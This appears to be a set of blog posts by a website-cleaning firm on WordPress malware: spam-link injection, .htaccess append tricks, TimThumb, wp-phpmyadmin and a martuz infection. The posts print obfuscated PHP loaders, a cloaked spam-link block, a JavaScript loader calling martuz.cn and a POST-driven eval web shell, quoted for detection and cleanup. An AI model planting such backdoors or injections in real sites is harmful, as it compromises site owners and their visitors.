Don’t go blaming the author of the WordPress plugin contact-form-7, but 1,022 of the websites we’ve cleaned in the past 11 days have old versions of the contact-form-7 plugin.

If you have a WordPress based website and you’re finding code like this in your index.php files:

(opening php tag) @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZl..."\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} (closing php tag)

then you probably have an outdated contact-form-7 plugin.

We're not seeing the usual evidence in the log files, so we believe that the infection is a string that is being piped to /dev/null - at least that's our theory.

In your wp-content folder under: /plugins/contact-form-7 open your wp-contact-form-7.php file and look at line 8:

We’ve been seeing a lot of spam links in WordPress index.php files. Even the “silence is golden” 30 byte index.php files sprinkled throughout a WordPress installation have been infected.

These infected websites had other malicious code as well, but the index.php files had variations of the following code:

<!– /harew–>

<?

$agent = $_SERVER['HTTP_USER_AGENT'];

if(!eregi(“google”,$agent))

{

?>

<div style=”position:absolute; top:-99999px;”>

<?

}

?>

bedava <a href=”http://sikisizleriz.blogspot.com/”>sikis</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=”http://bedavapornocu.blogspot.com/”>porno</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=”http://http://grupsikisizle.blogspot.com/”>sex</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=”http://fulllezizle.blogspot.com/”>lezbiyen</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=”http://sikisizlex.blogspot.com/”>sikis</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

free <a href=”http://freefullsex.blogspot.com/”>sex</a> videos

free <a href=”http://freesexfull.tumblr.com/”>sex</a> videos

</div>

Currently we see about 12,000+ websites infected with this code. These sites are usually infected with a variety of .htaccess file infections as well, so just removing this code will not clean your website.

For instance, many of them have this in their .htaccess files:

php_value auto_append_file /home/path_to_/public_html/websitename/Thumbs.db

This will add (append) whatever is in the Thumbs.db file to files when the page is rendered. This will show the infectious code in Thumbs.db after running the PHP code in Thumbs.db, when you view source on an infected web page, but when you look in the raw code of the index file, the code won’t be there.

This line is usually preceeded by many, many blank lines in an attempt to hide it. Inside the Thumbs.db file is code like:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSK…;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65″;$eva1tYldakBoVS1r = “\x65\143\x72\160″;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Which is the infectious code delivered to any web page rendered from the folder with the above .htaccess file.

There doesn’t appear to be any common characteristic of the websites infected with this, other than the infected websites we’ve cleaned have all been WordPress. They were already at the current version, some have the vulnerable timthumb.php files, some don’t. Some are using FCKeditor in one way or another and we have seen this as a successful attack vector for quite awhile.

If you have this type of infection, please post a comment with any other information you may have regarding this. Mostly, what plugins you have on your site. Maybe then as a community we can zero in on the root cause.

If you found this post useful or informative, please Tweet about us, like us on Facebook, or just post a comment.

As always, if you need help cleaning this from your website, please send me an email: traef@wewatchyourwebsite.com.

Thank you.

We’ve been seeing, over the past week, many WordPress websites infected with this line of code:

function counter_wordpress() {$_F=__FILE__;$_X='...add_action('wp_head', 'counter_wordpress');

It’s in the wp-settings.php file and it usually has a series of blank spaces before it. You’ll find it right before the legitimate line of code:

do_action( 'init' );

This needs to be removed and you need to update all of your timthumb.php and thumb.php files. Then you’ll also have to scan your websites for backdoors.

Remember that if your WordPress site is hosted in a hosting account with many other websites in the same account, the backdoor can be in all or any of the other websites. You need to scan and clean them all.

If you need help in finding and removing this, please send us an email at: support@wewatchyourwebsite.com

Thank you.

And, let’s be safe out there.

The WordPress Plugin TimThumb which is primarily used in themes as an image resizing tool, was found to be vulnerable to an attack that could be classified as a remote file inclusion exploit.

TimThumb allows an attacker to retrieve a remote file and saves it to directory that is accessible via a browser. Mark Maunder who is CEO of technology firm Feedjit, based in Seattle, found out the hard way about this vulnerability when his own blog: markmaunder.com was infected by this.

He has provided a good detailed description, for those of you who are technically oriented, on his blog at:

It’s also been reported that the developer of the plugin had his own blog infected via this vulnerability. To his credit, he has been extremely busy in fixing this and has definitely shown responsibility in this matter.

The fix that Mark has suggested is this:

1. Edit timthumb.php
2. Scroll down to line 27 where it starts: $allowedSites = array(
3. Remove all the sites like “blogger.com” and “flickr.com”
4. After removing the sites your line should look like: $allowedSites = array();

Save the file and you’re finished. Keep in mind this is for version 1.33. If you’re running an older version, you’ll have to contact the Theme developer and ask them for an update.

Our research shows that some themes use this plugin but the file is not named timthumb.php it could be named:

• thumb.php
• resizer.php
• crop.php
• cropper.php
• and various similar names

Search your files for all these names just to be sure you find it.

If you see a folder/directory named “cache” in your wp-content folder or any of it’s sub-folders, you can add this .htaccess file there which will block running any .php files. Quick backstep: this is typically where this plugin stores the files that a hacker may have uploaded. So even if a hacker were to upload the files to that folder, they cannot run them.

.htaccess:

RewriteEngine On

Order Deny,Allow Deny from all Allow from localhost

Please post a comment here if you’re having issues with this, or for that matter, any other security related issues.

Thank you.

If anyone reading this blog has wp-phpmyadmin installed on their site you should remove it immediately.

For the past 2 months we’ve been seeing more and more websites with this plugin being infected.

There is usually a file added: upgrade.php that is not part of the legitimate files and has various malicious code inside.

This plugin is no longer on the WordPress plugin repository as it has not been updated since 2007.

While a plugin like this might seem more convenient for database work than using your hosting provider’s control panel, it’s also more convenient for hackers.

We did a Google search on this and found that the majority of websites with this plugin, also don’t have any prevention for viewing the directory this is installed in.

This means that a hacker can click on “Parent Directory” and see all the plugins installed. While this isn’t a huge vulnerability, it’s so easy to prevent with a either a .htaccess file or an empty index.html file.

The less information a hacker knows about your website the better off you are.

What about you? Do you have this installed on your website? Are there other plugins you worry about? Leave a comment here and we’ll investigate it.

Need your website cleaned, protected and monitored? Send us an email: support@wewatchyourwebsite.com

We were tasked with helping a website owner find all the malscripts on his site and remove them. He, like many, learned that his site was an infectious website delivering malicious code with an email from Google.

This website owner had tried removing the code himself from the infected webpages and yet his site was still blacklisted by Google. This was killing his sales as anyone visiting with Firefox as their browser, or Chrome,  were greeted with a big warning:

This site may harm your computer.

After about a week of trying to rectify the problem himself, he contacted us.

He provided us FTP access to his site so we could tackle it.

After downloading his site (which literally took 3 hours) we started scanning. We grep’d for the word “base64_decode” and found over 228 php files all with the following malscript:

(php tag removed) if(!fun ct ion_ex ists(‘tmp_lkojfghx’)){if(is set ($_POST['tmp_lkojfghx3'])) eval($_POST['tmp_lkojfghx3']) ;if(!defined(‘TMP_XHGFJOKL’)) define(‘TMP_XHGFJOKL’,b ase64_de cod e(‘PHNjcmlwdCBsYW5ndWFnZT 1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBWaXRMPSclJzt2YXIgU3VvPSd2YXJfMjB hXzNkXzIyU2NyaV83MHRFbmdfNjluZV8yMl8yY2JfM2RfMjJWZXJzaV82Zm4oKStfMjJfMmNqX zNkXzIyXzIyXzJjdV8zZG5hdl82OWdfNjF0XzZmcl8yZV83NV83M182NXJfNDF nZW50XzNiaWYoXzI4dV8yZWluZGV4T2ZfMjhfMjJfNDNocl82Zl82ZGVfMjIpXzNjXzMwXzI5XzI2 XzI2KHVfMmVpbmRfNjV4T2YoXzIyV182OV82ZV8yMilfM2UwKV8yNl8yNl8 yOHVfMmVpbmRleF80Zl82Nl8yOF8yMk5UXzIwNl8yMilfM2MwKV8yNl8yNihfNjRvY183NW1fNjV uXzc0XzJlXzYzb29rXzY5ZV8yZWluXzY0ZXhPZihfMjJtaWVrXzNkMV8yMil fM2NfMzApXzI2XzI2KF83NHlwZW9fNjYoXzdhXzcyXzc2enRzXzI5XzIxXzNkdHlwXzY1b182NihfMjJ BXzIyKSkpXzdienJfNzZ6Xzc0c18zZF8yMkFfMjJfM2Jldl82MWwoXzI yaWYoXzc3aW5kXzZmd18yZV8yMithXzJiXzIyKWpfM2RqK18yMitfNjErXzIyXzRkYWpvcl8yMl8yY mIrYStfMjJNaW5vcl8yMitiK2ErXzIyQl83NWlfNmNkXzIyXzJiYitfMjJ qXzNiXzIyKV8zYmRvY183NW1fNjVfNmVfNzRfMmV3cml0ZShfMjJfM2NfNzNfNjNyaV83MF83NF8y MHNfNzJjXzNkXzJmXzJmbWFyXzIyK18yMl83NF83NXpfMmVfNjNuXzJmdml kXzJmXzNmXzY5ZF8zZF8yMitfNmErXzIyXzNlXzNjXzVjXzJmc2NyaXBfNzRfM2VfMjJfMjlfM2JfN2Qn O2V2YWwodW5lc2NhcGUoU3VvLnJlcGxhY2UoL18vZyxWaXRMKSkpfSk oKTsKIC0tPjwvc2NyaXB0Pg==’));fu nc tion tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(su bstr($s,10,-8)); if(preg_match_all(‘#<script(.*?)</sc ri pt>#is’,$s,$a))for ea ch($a[0] as $v) f(count(exp lo de(“\n”,$v))>5) {$e=preg_match(‘#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)||preg_m atch(‘#[\(\[](\s*\d+,){20,}#’,$v); if((pr eg_match(‘#\beval\b#’,$v)&&($e||str pos($v,’from Char Code’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);} $s1=preg_re pl ace(‘#<sc ri pt lan gu age=java scri pt><!– \n\(fun ct ion\(.+?\n –></script>#’,”,$s);if(stristr($s,’<body’)) $s=preg_replace(‘#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,’</body’)||stristr($s,’</title>’)) $s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0) {$s=array();

if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d); foreach(@ob_get_status(1) as $v) if(($a=$v['name'])==’tmp_lkojfghx’)re t urn;else $s[]=array($a==’default output handler’?false:$a); for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’); for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2′) $GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

The base64_decode section evaluates to this:

<script language=javascript><!–

(f u n c t i o n(){var VitL=’%';var Suo=’var_20a_3d_22Scri_70tEng_69ne_22_2cb_3d_22Versi_6fn()+_ 22_2cj_3d_22_22_2cu_3dnav_69g_61t_6fr_2e_75_73_65r_41gent_3bif (_28u_2eindexOf_28_22_43hr_6f_6de_22)_3c_30_29_26_26(u_2eind_65xOf(_22W_69_6e_22) _3e0)_26_26_28u_2eindex_4f_66_28_22NT_206_22)_3c0)_26_26 (_64oc_75m_65n_74_2e_63ook_69e_2ein_64exOf(_22miek_3d1_22)_3c_30)_26_26(_74ypeo _66(_7a_72_76zts_29_21_3dtyp_65o_66(_22A_22))) _7bzr_76z_74s_3d_22A_22_3bev_61l(_22if(_77ind_6fw_2e_22+a_2b_22)j_3dj+_22+_61+_ 22_4dajor_22_2bb+a+_22Minor_22+b+a+_22B_75i_6cd_22_2bb+_22j_3b_22) _3bdoc_75m_65_6e_74_2ewrite(_22_3c_73_63ri_70_74_20s_72c_3d_2f_2fmar_22+_22_ 74_75z_2e_63n_2fvid_2f_3f_69d_3d_22+_6a+_22_3e_3c_5c_2fscrip_74_3e_22_29_3b_7d’; e v a l(un esc ape(Suo.replace(/_/g,VitL)))})(); –></script>

Which deobfuscates to:

var a=”S cri ptE ng ine”,b=”Version()+”,j=”",u=na vi g ator.user A gent;if((u.indexOf(“Ch rome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6″)<0)&& (do cu ment.coo kie.ind exOf(“miek=1″)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;ev al(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”); doc um ent.w ri te(“<sc ri pt src=//mar”+”tuz.cn/vid/?id=”+j+”><\/script>”);} if(window.Script Engine)j=j+ScriptEng ineMajorVersion()+ScriptEng ineMinorVersion()+Scrip tEngine BuildVersion()+j; <script src=//martuz.cn/vid/?id=></script>

a typical martuz infection.

Using PowerGrep we did a search and replace on this text and replaced every occurrence with “”.

We dug further into the files returned with our search for the word “base64_decode” and found 2 php files in every folder name “images”. These 2 files were named “image.php” and “gifimg.php” and inside each was the following code:

(php tags removed) eval(base64_decode(‘aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1Rb J2UnXSkpOw==’)); (php tags removed)

Which decodes to:

if(isset($_POST['e']))eval(base64_decode($_POST['e']));

Which just decodes whatever text string is POST’d to this file.

To test, we encoded some commands and setup a little script to POST to this form with our commands. It worked!

In addition to these 2 files we found many others in various folders that contained the same code. We’re working on determining how these files are named. It almost seems random, but in order for this to be an automated process we feel that there must be some algorithm in creating the file names. Otherwise, the cybercriminals would have to keep a database or list of each site name and the file name associated with that site. This is highly unlikely as they are into automated routines and keeping a list like that just doesn’t make much sense.

Being that this was martuz, we felt confident in recommending that the client change from FTP to either FTPS or SFTP and then scan their PC fully before accessing the site again. With this new twist of having these php files accept scripts and run them, we are concerned about this new form of infection.

We have seen some people report that you have to replace these php files with an empty file of the same name. That might be the case in some situations, none that we’ve seen, but that would require that the cybercriminals had another file on your site that monitored those files. That monitoring program needs to be found and eliminated.

Another interesting thing about the file names is that WordPress installations have files named image.php obviously with different code, but that tactic might be to deter people from just “willy nilly” deleting those files.

Stay tuned as we have many, many more websites to clean. We’ll be reporting on them as we obtain more information.